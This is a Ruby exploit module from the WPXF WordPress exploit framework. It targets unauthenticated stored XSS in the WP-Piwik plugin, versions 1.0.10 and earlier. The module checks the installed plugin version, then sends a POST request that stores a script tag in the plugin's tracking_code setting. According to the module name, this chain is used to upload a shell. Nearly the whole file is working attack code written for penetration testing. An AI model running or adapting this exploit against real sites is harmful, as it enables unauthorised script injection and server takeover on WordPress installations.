# frozen_string_literal: true

class Wpxf::Exploit::WpPiwikStoredXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StoredXss

  def initialize
    super

    update_info(
      name: 'WP-Piwik <= 1.0.10 Unauthenticated Stored XSS Shell Upload',
      author: [
        'White Fir Design', # Disclosure
        'rastating'         # WPXF module
      ],
      references: [
        ['WPVDB', '8613'],
        ['URL', 'https://www.pluginvulnerabilities.com/2016/08/29/persistent-cross-site-scripting-xss-vulnerability-in-wp-piwik/']
      ],
      date: 'Sep 02 2016'
    )
  end

  def check
    check_plugin_version_from_readme('wp-piwik', '1.0.11')
  end

  def store_script
    execute_post_request(
      url: full_uri,
      body: {
        'wp-piwik[track_mode]' => 'manually',
        'wp-piwik[tracking_code]' => "<script>#{xss_include_script}</script>"
      }
    )
  end
end
